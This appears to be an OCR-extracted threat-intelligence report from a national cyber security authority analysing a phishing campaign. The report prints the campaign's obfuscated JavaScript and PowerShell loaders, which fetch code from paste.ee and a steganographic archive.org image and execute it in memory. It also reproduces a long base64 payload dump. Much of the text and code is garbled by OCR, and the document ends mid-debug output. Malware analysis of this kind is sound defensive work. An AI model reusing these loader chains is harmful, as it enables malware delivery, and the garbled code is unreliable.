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First phase:
Sources of information: The report is based on information available at the time of its preparation.
However, some aspects may differ from actual developments.

Second phase:
Analysis details: Due to resource limitations, some aspects of the malicious file may not have been
analyzed in depth. Any additional unknown information may reflect changes in the report.

Third phase:

Information Security: To protect sources and confidential information, some details may be
redacted or not included in the report. This decision was made to maintain the integrity and security
of the data used.

NCSA reserves the right to change, update, or amend any part of this report without prior
notice.

This report is not a final document.

The findings of the report are based on the information available at the time of the investigation
and analysis. There is no guarantee regarding possible changes or updates to the information
reported during the subsequent period. The authors of the report do not assume responsibility for
the misuse or consequences of any decision-making based on this report.
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Technical Information

The National Cyber Security Authority (NCSA), as part of its ongoing monitoring of phishing and
spear-phishing campaigns, has identified a new campaign that uses advanced methods to evade
traditional email security systems. This campaign uses legitimate-looking email senders and a
URL that refers to a cloud data storage platform (Mediafire), disguised as a PDF document.

After the user clicks on the document (attachment), they are redirected to a Mediafire URL, where
the document is automatically downloaded. This mechanism bypasses security checks that often
block direct email uploads. The downloaded document appears harmless at first glance, but in fact
contains a script written in JavaScript, which is obfuscated — a technique used to hide the purpose
and functionality of the code, making it more difficult for security systems and analysts to analyze.

After executing this JavaScript script, which masquerades as a legitimate application, a series of
suspicious activities start running in the background. These activities include interactions with the
system, the network, and the possibility of installing a backdoor for later access. The following
report is a detailed technical analysis of the behavior of this malware and the techniques used by
the threat actors.

File analysis

After opening the file with a text editor, several variables will be identified that have obfuscated
content (hiding the functionality of the code) that are related to each other.

The variables in this file are mostly strings of characters, which during execution are concatenated,
decoded, and then passed as parameters to other variables, a common method to hide from



antivirus detection.
Funambulation variables, talons, occludes, thalis, correctness's, hereon use JavaScript's split
and join functions to reconstruct these character strings.

1@ var funambulation = "MS/\ -zjg(DEE186,3aT-XML2. S A ~s @ () Bé ] 8es@aT erver A~z g (D EnE T pe@aT-XML A ~x @ () = @AT HTTP" . split (" A~xj
2 var jiggles = new ActiveXObject(funambulation);
4 var talons = "h/A~zg@OEéleen,saT t A-zgO@éioc,saT t A-s@DEntise,saT-pA-x@OEnE T eenmaT : Axg OEnE 8e0saT / A ~xg D@t aes,ss

var occluders = "

var thalis = "/\«x
5 Var correctnesses =
10 var hereon = "/\~x

T-").Join("");
Soin (") ;

12 jiggles[occluders] ("GET", talons, false);
13 jiggles[thalis] () ;

15 new this[hereon] (jiggles[correctnesses]) () ;

Figure 1 JavaScript file

To see the outputs of these variables and the relationships between them, we modify the code by
setting console.log() for each of them.

The funambulation variable contains the decoded value MSXML2.ServerXMLHTTP.

MSXML2.ServerXMLHTTP is a COM (Component Object Model) object provided by Microsoft
that is used to make HTTP requests from applications or scripts running on Windows — especially
in environments like VBScript, or even PowerShell. This object is part of the MSXML (Microsoft
XML Core Services) library.

@ top w O T Filter Default levels w @ 25 583

........ LiUp| DUSLUuCU Loiuna Une. , Lasunsg,

var occluders = "A~x@OEE sEnTaT openhxg OELET SEm@aT " split("Avz@ OB T 4€02aT-")  Join("");

console.log("occluders:"”, occluders);

var thalis = "A-xz@ O E"ei6€0BaT senddz@OEE €nFEaT- " split("Avxz@OEET s€maqaT-") . Join("");
console.log("thalis:", thalis);

var correctnesses = "A~x[gOEi Em@aT responseTextAvx O EE | 8€n@aT-" . split("Avzg O
E*¢i8€msaT~") . join("");
conscle.log("correctnesses: ", correctnesses);

var hereon = "A~x@ OB eI 6€m®aT-FunctiondwzgOECT s€manaT-". split("Awxf OB 1 6€0DAT-") . Join("");

conscle.log("herecn:", hereon);

|Funambulation‘ MSXML2 . ServerXMLHTTP | VM149:2

Decoded talons URL: M1495:7
http://paste. A-x@OE i sEnaHaTee/Arx G EME | $EDTAT driverx @ (D EE T SETAT: mux...(‘v)‘-.fie{maar.-.lm&.uw

occluders: A~xf@ (DECT#€@AT open VM149:11

thalis: Av-xf@(OEE $€n@aT senddwrxf@ O EET SEmTaT - VM149:14
I correctnesses: responselext VM149:17

hereon: Azl (OEC] SEon®aT-~Functionwxf (D EWe | stonagaTs i149: 28
¢ undefined

[NEW] Explain Console errors by using Copilot in Edge: click () to explain an error. Learn m

Don't show again
ore

Tracking Prevention blocked access to storage for <URL>.
Figure 2 Decoded values

The decoded URL contains a value of hxxp[://]paste[.]ee/d/se4Qrn03/0 which if we open in a
sandbox environment will show us a javascript file with obfuscated values .



ver metels = ([J+#[ ([1[*Cypress"I+[1)[6] + (I1[*bencficiary"I+[)[1] + ([1["pinnulation]+[1)[2] + ([1["aldopyranoses”I+[1)[3] + ([[*overlines"1+{1)[] + ([)[*tirege"1+[1)(5] + ([1[*helps" I+(1)[] + ([1["beneFiciary
["slice"]+[])[9]][“overlines"])[e]

var skeeziest = ([1+1 (L1["Cypress"1+[1)[0] + ([1["beneficiary™1+[1)[1] + ([1["pinnulation”T+[1)[2] + ([1["aldopyraneses™1+[1)[2] + ([1["overlines™1+[1)[4] + ([1["tirage"T+[1)[5] + ([1["helps"T+[1)[s] + (I1["benefici:
["slice"J+[1)[8]][*Cypress"])[1];

var upstaters = ([1+] ([1["Cypress"]#[1)[@] + ([1["beneficiary"]+[1)[1] + ([1["pinnulation”]+[1)[2] + ([1["aldopyranoses"]+[1)[3] + ([]["overlines"]+[1}[4] + ([1["tirage"]1+[1)[5] + ([1["helps"1+[1)[6] + ([1["benefici
["slice"]+[1)[9]1[ "beneficiary"])[2];

var hypolipidemia = ([]+[ ([][ Cypress"I+[1)[e] + ([I["beneficiaryI+[1}[1] + ([1["pimnuletion”]+{1)[2] + ([1["sldopyranoses™ [1)[3] + ([1["overlines"I+[1)[4] + ([1["¢irage"T+[DI5] + ([1[*helpsI+[1)[6] + ([1["bene
([1["slice"]+[1)[9]]["helps"]}[3:

var susnkiness - ([J+[ ([1["Cypress"J+[1)[0] + ([1["beneficiary”J+[1)[1] + ([1["pinnulation”+[1)[2] + ([1["aldopyranoses™]+[])[3] + ([1["overlines"1+[1)[4] + ([1["tirage"]+[1)[S] + ([1["helps"I+[1)[6] + ([1["benefic:
["slice"]+11)[2]1[™ 10415

vai ;:T)sades - ([]S?MG([][ “Cypress"]+[1)[0] + ([1["beneficiary"]+[1)[1] + ([1["pinnulation*]+[])[2] + ([1["aldopyranoses"]+[1)[3] + ([]["overlines*]+[1}[4] + ([1["tirage"]1+[1)[5] + ([1["helps"1+[1)[6] + ([1["benefici:
["slice”+[])[8]]["pinnulation”])[2];

var trachinoidea = ([ ([1[" Cypress "J+[1)[e] + ([1["beneficiary"1+[13[1] + ([1["pinnulation”]+[1)[2] + ([1["aldopyraneses”1+[1)[3] + ([1["overlines"1+[1)[4] + ([1["tirage”1+[1)[5] + ([1["helps"1+[1)[6] + ([1["benefici:
["slice"]+[1)[8]1+[1["slice"]}[5]

var bonifaces = ([J+H[ ([1["Cypress"1+[1)[0] + ([1["beneficiary"+[1)[1] + ([]["pinnulation”]+[1)[2] + ([1["sldopyranoses"]+[1)[3] + ([]["overlines"]+[1)[4] + ([1["tirage™1+[1)[5] + ([1["helps"J+[])[6] + ([1["benefici:
["slice”]+[1)[9]]["tirage" ) [6];

var ephoral = ([ ([1["Cypress"]+[1)[e] + ([1["beneficiary”1+[13[1] + ([1["pinnulation"]+[1)[2] + ([1["aldopyranoses”]+[1)[3] + ([]["overlines"1+[1)[4] + ([1["tirage"]+[1)[s] + ([1["helps"1+[1)[6] + ([1["beneficiaryMa
["slice"]+[1)[311+[ ][ “Garden"1)[7];

var Atlas = ([1#[ {[1["Cypress"J+[1)[0] + ([1["beneficiary” +[D)[1] + ([1["pinnulation”1+[])[2] + ([1["2ldopyranoses"1+[1)[3] + {[1["overlines"]+[1)[4] + ([1["tirage”+[)[S] + ([1["helps"1+[1D[6] + ([1["beneficiaryt:
["slice"]+[1)[2]]["aerier"])[8];

var pillorizing = ([J+[Infinity][+[]])[®].
filatures = ([]+[Infinity][+[11)[1],
vesical = ([1+[Infinity][+[]1]1)[2],
mullah = ([J#[Infinity][+[]1)[3].
conivalvia = ([J+[Infinity][+[1])[4],
chorioretinitis = ([]+[InF1n)ty][+[]])[5]
olivere = ([1+[Infinity][+[1]1)[6]
aiplanetism = ([J+[Infinity][+[11)[7],
skodaic = ([]+[Infinity][+[]1])[2],
eriometer = ([]+[Infinity][+[11)[2];

Figure 3 Obfuscated JavaScript code

Code: var jiggles = new ActiveXObject(funambulation);

Creates an object that can send HTTP requests, using the previous text
"MSXML2.ServerXMLHTTP".

var occluders contains the value open

var thalis contains the value thing

and if we get the final decoded value, we get the following function.

var jiggles = new ActiveXObject(""MSXML2.ServerXMLHTTP");

jJiggles.open(""GET", ""http://paste.ee/d/se4Qrn03/0™, false);

jiggles.send();

new this.Function(jiggles.responseText)();

To avoid manual de-obfuscation, we run the script in an isolated environment and identify the
processes that are created on the Windows system.

Since we have an ActiveXobject , during the execution of this code we will see the launch of a
process in Windows named wscript.exe . The execution of a powershell code will automatically
start.

<0.01 6.768 K 19224 K
|E| E powershell.exe 227 56,900 K BEETEK V184 Windows PowerShell Microsoft Corporation
B conhostexe 0.51 3300K 9.324K 1132 Console Window Host Microsoft Corporation

Figure 4 Launching wscript.exe and powershell

Powershell command is a child process of wscript.exe. We save the PowerShell command in a text
file and notice parameters -w hidden. This parameter is used for starting a process which doesn't
show any output on the screen.

1] *mal powershell.ixt - Notepad -
File Edit Format View Help

"C:\Windows\System32\WindowsPowershell\vi.@\powershell.exe" —nop "$loviride = 'JABNAHUA2QBJAGBAdWBhAHTATAAOACAATWAWACSAUQBZAHEAOABVAEGAOABAACBAZAAVAC
ACAARWBLAHQAUWBOAHIAAQBUAGCAKAAKAHTAZQBMAGWAZQBJAHQADWBPAHIAZQAPADSAIABBAGZAAQBSAGEATAASACAATWABADWAQEBBAFMARQA2ADQAXWBTAFQAQQBSAFQAPEA
+ACCAOWAKAHMADABhAGAAdABPAGAAZWAZADBATAANADWAPABCAEEAUWB FADYANABFAEUATEBEADAAPEANADSATABhAHTIAJABOAHTAbwB SAHKAYWBVAHMAYQAZADOATAAKAHQADWB
VAHQAZQBYACAASQBUAGQAZQBAAEBAZgAOACQAdABOAHUAEQBhACKAOWAKAGAAYQBUAGBAZ ZBVAHMACWBPAGWACWAEADRATAAKAHQADWBYVAHQAZQBYACAASQBUAGQAZQBAAE
8AZgAOACQACWBSAGEAbEBOAGKAbEBNACKAOWAKAGEACEBOAGEACEBVAGHAEQB JAGBACWBhACAALQBNAGUATAAWACAALQBhAGAAZAAGACQADEBhAGAADWBMAGBACWBZAGKA
bABZACAALQBNAHQAIAAKAGEACEBOAGZACEBVAGWAEQBJAGBACWBhADSATABhAHIAJABOAHIAbWB SAHKAYWBVAHMAYQAEACSAPQAZACQAGABOAHUAEQBhACAATABLAGAAZW
BOAGEAOWAKAGAADWBUAGMAbDWBUAGQAaQBOAGKADWBUAGUAZAAEADOATAAKAGAAYQBUAGBAZEBVAHMACWBPAGWACWAEACOATAAKAGEACEBOAGEACEBVAGWAEQBJAGBACWB
hADSAJABKAGKACWBSAGUAYQBMAGKAbEBNACAAPQAEACQAJABYAGBAGABLAHTAL gBTAHUAYEBZAHQACEBPAGAAZ WAOACQAYQBYAHQAAABYAGBADABSAGMABWBZAGEALA
AgACQAbEBVAGAAYWBVAGAAZABPAHQAAQBVAGAAZ QBKACKAOWAKAGWAZQBWAGKAZ ABVAHMACABLAHIADQBhACAAPQAEAF SAUWBSAHMAJABLAGOALEBDAGSAbEB2AGUACERO
AFQAOEAGAEYACEBVAGBAQEBhAHMAZQA2ADQAUWBOAHTAAQBUAGCAKAAKAGQAaQBZAGWAZQBhAGYAAQBUAGCAKQAZACQAYWBSAGUAYQBUAHUACABZ ACAAPQAZAF SAUWBSAHMA
dAB1AGOALEBSAGUAZgBSAGUAYWBOAGKAbWBUACAAQQBZAHMAZQBtAGIADABSAF@AOgAGAEWADWBhAGQAKAAKAGWAZ QBWAGKAZABVAHMACAB1AHIADQBhACKAOWAKAGOAYQBPA
GWAZQBYAHMATAASACAAWWBKAGAABABPAGIALgBIAESALEBIAGBADQBLAFBALgBHAGUAdABNAGUAJABOAGBAZAAOACCAVEBBAEKAIWAPACAASQBUAHYADWBIrAGUAKAAKAGAACQBS

AGWALAAGAF SAbWB1AGOAZQBjAHQAWWBAAF@ATABAACEAIABOAHKACABZAGBADQB1AHQACEBPAHMAAAASACCAIWASACCAIWASACCATWASACCATQBTAE TAdQBPAGWAZAANACWAIWANACWAIWANACH
AJWANACWAIWANACWAIWBDADOAXABVAHMAZ QBYAHMAXABQAHUAYEB SAGKAYWB CAEQAbWB3AGAABABVAGEAZABZAC CALAANAHEACQBSAGBACWBEAGEATWASACCAAEBZACCALAANACCALAANACCALAANAGSAZQBOA
G8AZE
B1AHIAYQBUAGBACWBIACCALAANADIAIWASACCAIWAPACKA®
-replace '',"";$tutorly = [System.Text.Encoding]::Unicode.Getstring([cenvert]4:FromBase64String($loviride));InvokefExpression $tutorly;”

Figure 5 file IN PowerShell




The text file is encoded with base64 which is visible IN the called function FromBase64String,
and more after payload is called by function Invoke-Expression stored in the variable $ tutorly.
To understand more what is being executed we modify code setting using other useful variables to
debug and decode from base64.

|Kﬂmpﬂ X

1 $gu1c0war = '0/QvqB8oMBx/d/ee. e#tsap//: Sp##h'
2 Shypsometrist = $guicowar -replace "#',
3 $pondhawks = 'https.//arch1ve.0rg/d0wn1oad/new_image_20250413/new_image.jpg‘
4  $nominally = New-Object System.Net.WebClient
5 S$nominally.Headers.Add( 'User-Agent’, 'Mozilla/5.0")
6 S$reflectoire = $nominally.DownloadData($pondhawks)
7 $tooter = [System.Text.Encoding]::UTF8.GetString($reflectoire)
8 S$thuya = '<<BASE64_START>x>'
9 $slanting = '<<BASE64_END>>'
10 $arthrolycosa = $tooter.Index0f($thuya)
11 $%nanofossils = $tooter.Indexof($slanting)
12  $arthrolycosa -ge 0 -and $nanofossils -gt $arthrolycosa
13  S%arthrolycosa += $thuya.Length
14  $nonconditioned = $nanofossils - $arthrolycosa
15 S%disleafing = $tooter.Substring($arthrolycosa, $nonconditioned)
16  $lepidosperma = [System.Convert]::FromBase64String($disleafing)
7/ $cleanups = [System.Reflection. Assemb1y]"Load(S]epidosperma)
18 FE%mailers = [dnlib.IO.Home]. GetMethod( VAI'). Invoke(Snu11 [object[]] @(

19 $hypsometr1st Lyttt T, 'TMSBuild', T, , . , '"C:\Users\PubTic\Downloads",
20 "xylosma', "js', '', 'ketofuranose', '2', "'
21 |0

Figure 6 Decoded value

variable $ guicowar contains a string which passes as a parameter to variables $ hypsometrician
and through —replace the original value replaces character # with character t.
The output value will be an url which in reverse has the value:

hxxps [ //]paste [] ee /d/x8M08qYQ/O
AA AA AR, AR, PYyDedwFP8nDH7 g/ 0svDz7AG0EUDZ7QB0gsDAEW t08gDNEwN0cpDNEgh0AKD/ 5gT0anDs

KWYMIEDhx.AYHEFDexngkFDYAAAAMCgBgIJAAAuDVSAkU40DJSthUaDDngDAkD?SQeDQnDy5Ac04thSAbUstqSAaUcnﬂl5AYU41DZSwVOUlDTSg,SngDGSQE04]D24QNU41Dm4gHUYhmgxmeZSg?NVeDeSglMcDGngNYbDngpN4ZD‘N
yguMILDtywgHoKDoy gpMQKD jy AmHY IDT yg iHMYIDF xg FM@HD3x gdMQHD t xAbMOGDUXQUMKEDGXABMEDDIwAPMS DD SivNHUDDWIg LM@CD swgKMgCOmuQ TME BDawAGH cBD kA FHIBDQuICMKAD Iwg BMQAD CHQAAAEAKAYAS ABDE/ Q+PH/Dv/ g4PA+Dd
BANPBYDr8QKPWXDaBWF PUXDTEEBPQWDBE 7w/ 08vDW7 g705UDN7 g 20gt DV7QB0QsDCHWvOs rD36gs0EqDTEANOZpDUGWTO4NDE5Qe0UNDoS g ZNIVDI 1 gSNKUDT LARNMOD / 2Q0N T D2BGNNQT Dz 8 MNA SDEBQKNMSDh@ A TNERD £ BQHNWRDYew FNMRDN
yEvMuLD7ygulk LD 1ywriakDoy gpMUKDKywol I KDeyOnHk IDTyQkMAIDMywi Mc IDBsxw FM4HDI%QeMgHDax gbMuGDr xg aMk GD1 xAZHAGD ax AWMC F DxQVME FDQXATIY EDExwQHIAD+wQPMKDD ZWQMMADD Vg LMOCDpWQ IMEBDdwAHNS BDXwg FMIBDM
AWAAGATA2ghNQUDY1 gbNeWDg1AWNEUD ] 1ASNQQD+2ANNWSD1@A INWRDb OgGHKBAAAADAGAGAZ g2MK D7y guMKLDAYWEHYLD1y g sSHELDWywrMaKDty ArMsKDgyQgigKDny gpHUK DKy woM IKDhyAME JDeyQniw Dby gmik IDYyw1MYIDVyAHMIDS
yEvMWLDBYAUMY DBy gsMAL Duy ArMoKDoy gpHQKDiyAoka IDcy gmtg IDWyALMI IDQyg jMwIDKyAiMYIDEY ggMAE DA THOHDAxgdMOHDy XA cMAGDs xgatgBDmxAZMIGDgxgXHuF DaxAlMYF DUxgUMAFDOXATMOEDIx gRMQEDC xAAMADDBgOMgDD2
gDAAABD+/A/Po/D4/ gIPQ/ Dy/ ABPA+Ds/gEPg+Dm/ASPI+Dg/ g3PwoDa/ A2PYIDU/g@PAIDD/ AZPoBD1/ gxPQEDC/ AgPA7D8+guP g7D2+AtPI70w+grPwEDg +AqPY6Dk+gaPABDe+ANPOSDY+g1PQSDS+AKP44DI g1 Pg4DGHANPI4DAIg FPU3DE
8APPozD43gNPQzDyBAMPAy DsEEKPgyDmEAIPIyDEBgHPUXDaSAGP YxDUEEEPAXDOBADPoWDISWEPUNDDEQWOSYDI7w+0kvD37Q90MyDx7w708uDr 7Q60c uD1 7w40EUDF7Q305t DZ 7wl 0UL DT 7QB08 SDN7wy Ok sDH7 Qx0MsDEGwv0@rD76QuOcrDl
Swd0UnDz5Qc08mDt5wa0kmDn5QZOMMDhSwX 08 1Db5QHOC LDV5WUOELDP5QT0skDISWROUKDDS QA0S D94w00k jD34QNOM I Dx41L0@1iDr4QKOC iD14wIOE iDF 4QHOs hDZ4wFOUhDT4QE08gDNAWCOkgDHAQBOMZDE I/ NOFD7 3Q+Nc FD13WBNEFDV
2QsNBaDt 2wghkaDn2QphMaDh2wnNEZDb 2QmNc ZDV2wkNEZDP 2Q NS YD) 2whNUYDD2QONEXDS 1weNKkXD 31 QdNHXDx 1wbNBWD r 1QaN cvD 1 1 YNEWDF 1QXNSVDZ 1wVNUVDT 1QUNBUDN1wSHKUDHQRNMUDBBQKNE SD18wINESDFBQHNSRDZewFNURDT
ywkMATDNyz iMc IDEYQQMAHDTxAMQHDX xgbHs GDoXQZMIGDFxAXMKF DixWUMAF DNxg SMc EDExXQAMADD7wAOMUD Dy LMW CDpwg IMMCDZwQHMo BDXWAF MEBDOwWC Mg ADFWEAAANAGAUABABD,/ / A/ Pk /D2 /wBPA/ Dt/ g6Pc+Dk/Q4PASDb/A2PUIDS
8AFPHXDSBQEPAXDPEgDPENDHMBWC PowD] BACPYWDF BABPMWDCEQAPASD/ 7g/ 08vD87w+00vD5 7A+0cvD27Q90QvDz 75 B0EvDWZw704uDt 7A705uDqG7Q60gubn 7g50UuDk 7wa0TuDh 7 A408t De 7Q30wtDb7A20¢ tDH7Q10QtDT7gBOE tDQ7wz04SDN
6ZLAAAAZAIAS AAAABQENARDPEEONEQDMEnCNoQD@ACNCQDGRQBNQQDD@gANAMD/ zg /MBPDE zwHkPD22QIMQPDz 2g BHEPDWZW7HM@ODs ZwEMo0DpZ ABMcODMZASMICAAAWF AF AKABWPOYqD16Ap0MgD16Qo0AGDTEEN0@pD cbmOopDZ6AMOCpDN
Swd0YnD15AdOMNDYSQC0ANDYSgbO@mDs SwalomDpSAa0cmDmSQZ0QmD 5gYOEMDgSWX04 10d5AX0s 10a5QW0g 1 DXSgVOU1DUSWUOT1DRSAUOS KDOSQT OwkDL 58S 0kkDISWROYKDF SABOS ] D+4QP0OwIDBAAWNS FD+AAAAZDQBQLAAALDC 1gWNEVDI
@AGNYRDUBZENARDOBADNOQDIOZBNQQDC AWMAPDEzZ g +1gPD2zASH I PDWz g7 MODGZAGHY 0Dk g4MAODE A3 MOND Y 2 g IMQNDS ZAGHAMDMz gy MgMDG ZAXMIMDAY gvIWLD 6y AUMY L DBy gsMAL DUy ArMoKDoy gpMQKD iy AckM4 1D cy gmMg ] Dy AIMIIDQ
*gUMAF DOXATHOEDTXgRMOE DCx AAMADDEWZOMZDD 2WANMIDDWWg L MnC DquAKMYCDkg TMACDEWAHMBDYwWgFIQBDSWAENA ADMIg CMgADGWABMIADAAAQACBQBACWPA /DB / g+Pg/ D2/ ASP T/ Dw/ g7Pw+Dq/ AGPY+Dk/ g4PA+De /A3PoSDY/ g 1PQIDS
+Q1PHM5DR+wiP@4DL+QiPcADF+ugPEBD/ 9QFPs3059wdPU3DZ3QcPB2Dt OwaPk 2Dn9QZPM2DhawXPe1DbIQWPc1DVIWUPE 1DPEQTP 2D IwRPUIEDDIQAPE 203 BwOPkZD3B0NPHZDXBWL PAYDr8QKPCyD 18wIPE yDFBQHP s xDZBWF PUXDTSQEPSHDN
7wz08sDL7Qy0csDF 7wnOE0D/6Qu0s rDS 6wt 0UrDz6Qs08qDt6wg0kgDn6QpOMGDhBWNOBpDbEMOCpDVEWKOEPDPEQ ] 05001 6whOUODDEQQOBNDE SweCknD35Qd0MNDx Swb0BMDr5Qa0cmD ] SwYOEMDF SQX0s 1DZ5wVOULDTSQUOBKDNSWSOKKDH
4QCOcEDF4WADECD/ 3Q/NsTD53waNUTDZ 308N eDt 3wbNkeDn3Q5NMeDh 3w3NEdDb3Q2Nc dDV3weNEJDP zAZMCNDWZQ1HQNDT 2gBMENDQzw zMAMDNZ AZMS MDK 2QyMgHDHZ g xMUMDE ZwwM IMDBZAgMB LD +y QuiwLD7y guMk LD4ywEHYLD1yANMSBDZ
/Q5PH+Dh/w3P@IDb/Q2PcIDV/ wOPEIDP /QzP58D ] /wxPUBDD/ QgPE7D9 +wuPk7D34QtPM7Dx+wrPREDr+QqPcED 1 +voPEEDT+QnP s50Z+w1PUSDT +QkPEADN+wiPlk4DH+QhPMADE3w2NodDZ3A2NC dDH3QINQADT 3geNEDQ3wzNA DK 3QyNgcDH
2gnNeZDc 1weNoXD51AdNMXDY1QcNAXDY 1gbNOWDG1QaNgDN 1gZNUWDK 1w YNIWDh1AYNEVDe 1QXNWVDb 1 gWNKVDY LwWNYVDV LAVNMVDS 1QUNAVDP 1 THOUDM 1wS NoUDI 1ASNcUDG1 QRNQUDD1gQNEUDAGWPNATDOOAPNS TD6GQONS TD3BgNNUTDE
y4oMEKF eyAnHmIDXy T1MTI TOy 8iM1TzGy ERMHET / xMFMpHz 3xUdMLHTwxcbMEGTmxE YMF GT ex 4k F JHxAVMGF DPXT THo EJHXTRMHAT /wMPHMpDz 3uQMMpC § huiMGMTB PuQDMGADTWYBMMA AAAAAYCQBQBWPA/ §7/Q+Pa/ DB/ YBPE+s/g6Pe+T1
BBLNrSFpzc@HT I 4ywtMIF § ixsXMyFzXxTUMSEDEwkHMpCTRWEINOBTcWBAMHAAAAZ TAFAEAAAWPD/ TA/KIPR/ Ty /Q3PY1zy3EcPX2 ] 194RPVODDECPPzx JWBIBPAS 287 g +0EVD17c40tt JA6TsOFKDO54e0pnz45820fgz034FNAVj0z0hMRLT
/I3PXBDD+AuPk7TO+YMPRY T16gK0dhIK3M3INOCT I30XNTHzZ ZwoMMDDDF WQT ARAAOAUATAAAA BIP1x XBCCPFQDT zAUME LZvyArMHKZ CXObMHE 2 JwQIMRAAAAWC AF ABA/wmPX7 T +@mP a@zm7 o,/ 025 2B6UV0+pDT6EWjOxg ] T4BZNEMT4ZKIHDPT
BEPNKM] SykvHvKDZy sVMuH] SxkiMgBT 3uM I AMAAT AQASASDN,/ wiP372B90fPs1NSIWOA L JHABENGF Tp3By NIY JO20rNXZDK14 FNVS TV@AIM2PDS 25 1MVE JOARAAABABgDAAAI TF+BgPFOT / OYPPxsTO7M+ORVZY78q04] zD3A0N+eDr305NTe jd
2g+MgPZwzU7MmO] ZZuUMOE  BukNMHDZrwYKMpAAAAE TAEANA/ I2PLOTP / EzPk4z44Y tPP7Dy+ESPESTO+SRPO3j@9caPz12 TOAUP 202 LE1104r DS IT00kj ISMROLET /4Y LOpi T14MIObc Tu3Ag4b 62k tNMb T2 EoNs ZDW2wkNDU Zw1ABNOWDa
/A7PAIDI/AXPGAT++BUPET jx+BrPAETs+4nPpSDIHILP152K+8QPI3269wdP X TWBL z0HVD06sPOygzE3UBNKZTE20hNQYDC1sNNLS | YOEENSQTI@GwMANT EyEqHH] j TxTdMLHz LxwCH/DDVWELMOCDhwd FMNBAARATAEALAAAWP3 [ 27/87PU+TA
6wu0cnz25YY021THAUOOWC Ty 3EKNEBTE 2UtNAaT g28 JNOUT E1MAN3T2500HMNC TDMAE EN1QTKQUBN Mz pz 85MB0T e E SMPNDIYESMS I TXy 8 hMVE 28x8dMCHz ks XMNFDOWEOMEDAAAQLAEAKAAAWP7 +21+0UP 6 h+M1P70 s90ZPOZDWIUUPHND+
WYGAAAAZ AQAKAAAATWZOgD ZAS@MOpcz/ 3U/N1czC2 suldazX1¥bNwhin 1EUNZUS L1ESNLQTS@40NNT TREAIMOT FRXY aMEGTaxBVIIADYWT LMUAAAAAF AEATAAAWPH/ §n/ALPGS 2 1+CTPb3IDXS0 TPdW] 684MPdy b7 V+0Kv To7gn06rD36MroKqzG
BELNBSDSzg+HhHDoWYKMgAAAAQTAEAHA fwsPey jo7190zuTk7MyOBoTE6WtOSr THEWhOTo jB5 S FO1MTn5gX0wl J055 TOGKDISYROPKDA40 POz JD63w2NhdTAZkqNj aTn200NBZDd 281NTZDS 2TKNIYDG2BQNr X241 QaNclizWIAF NS T298ATNIS jo
y<sM7Kjqy4pHMMKDay k1MLI TKy QiMFIzCyAQMrH] 33aMdMkG jhx EYMBF TC:UVMyA] /wk PMEDT 6wgLMUCZ JwoIM/ Bz YwwEMXADLWc CMCADAAAQAEAABEBWPW/ 22 /08PF / ju/g5PG+Da/M2Pe9zU/ czP14D++MvPu7 24+ CSPSE jo+BpPYETJ+ENPCSDO
BYFPRxJREMx0vvIE7U+0av Tv7kS0LtDR7wyOns j17cx0F0z46Ut0IrjuBEqDERjc6510LpzDEcQOgNT55Ae0Zn x5O 1TVS4U0I1TQS cBOI  TE4EOOV jDu44KOL iTg4wG0bh T048C01gTG38/ NuFTu3ATNfezk3g3Nnd M3 siNEb2I24 TNCX
y4pM@1§Sy@hHLEZ IwsHMDC ThwMDMNAARAQE AEAE A/ gHP 8y Jq8QgN2bDE 20nN3ZTG1aeNgX j 12EnMxF JquAZMIF ZYXAVHZ ADSWIEAAAANAQAMAAAA S ArPr2289we PR32y 9QcP222q9QaP 31 jX8w7010] s6UpONGDhEEVONNTh5@X0gg j82c INITTu
64p0T gzX6c50g5T54cKOL1 zd45COHC Ty 304NqdzQ38gNTbzv24gNaTc 2kmNdZz52T JNqUIB1QeNXX I @1UcNAXzt 1kalWDmLTZNHINz F1QXNUVTX1gVNIVIF IMANETT 42QNNPT Tme cINDNTxz46MY T 2y YrHin IDXyMQMiHZOWOOMWD ZywAMM7CT 5
5cfOunzg5eX031TbSkROFgz /4600t 1ik4ATOvh] Z4wFOUh {030/ Nxf23329Nud TX3g1MMdzR30zNoc TT30gNBb S 328 shf aDa 2 TVNeQT 78 TONHT zo@c TNINZ T 2EZMTT§ zxQeMXHzxxobMCAwwALM{ COMQHMEB zNW@BAAAArAQAAAB s / TXPP3ju
XTTMUEJKXYSHIE JHxoRMWE J EXAQMKA] 7AAAABANAGDEP ZMT TZ0XNIMTF 2 EXHNMT CzUgHS TTAXBFMSHTIXEFIEHTExUeHC BTSWEOHADT 20UNMRDT ZukiHBARAARE ADANA/ O7P5+ Tt/ E7PE+Tq/UBPh+DGIQYPy 10USSTPBOTC TweNr Nz 7y XIXDAA

Figure 7 hxxps' [ '//]paste[] ee /d/x8M08qYQ/O

The $ pondhawks variable contains the value of a image as above:
hxxps[://]archive[.]Jorg/download/new_image 20250413/new_image[.]jpg from which we



understand that we are dealing with steganography .

Figure 8 new_image.jpg

variable $nominally creates an object of type WebClient , then the variable Headers are also
added. as user agent Mozilla/5.0 with the intention of downloading the image and storing it in the
variable $ reflector.

we print the value $ disleafing about the hidden payload that it is hidden in the picture followed
by debug in powershell

| script.ps1 [Read Only] X ‘ &

1 Sguicowar = "0/Qvq8oM8x/d/ee. e#sap// sp##h‘
Shypsometrist = $guicowar -replace '
3 S$pondhawks = 'https://archive. org/downTDad/new_image_20250413/new_1mage.jpg'
4 $nominally = New-Object System.Net.webClient
5 $nominally.Headers.Add('User-Agent’, "Mozilla/5.0")
6 S$reflectoire = Snominally.DownloadData($pondhawks)
7 Stooter = [System.Text.Encoding]::UTF8.GetString(Sreflectoire)
8 $thuya = '<<BASEG4_START»>'
9 $slanting = '<<BASEG4_END>>'
10 S$arthrolycosa = $tooter.IndexOf($thuya)
11  S$nanofossils = $tooter.Index0f(%sTlanting)
12 Sarthrolycosa -ge 0 -and $nanofossils -gt $arthrolycosa
13 Sarthrolycosa += $thuya.Length
14  Snonconditioned = $nanofossils - $arthrolycosa
15 S$disleafing = $tooter.Substring($arthrolycosa, $nonconditioned)
16 $lepidosperma = [System.Convert]::FromBase645tring($disleafing)

17 cleanups = [System.Reflection. Assemn y]::Load($lepidosperma

S Smailers = a(]

19 $hypsometrist, , . C:\Users Pu TlichDownloads ',
20 'xylosma', 'js', ''", 'ketofuranose , 2t

21 )N

point on
C:\Users\flare>> $thu
<<BAQE64 START>>

[DBG]: PS C:\Users\flare>> $arthrolycosa
EEELEY

[DBG]: PS C:\Users\flare>> $disleafing
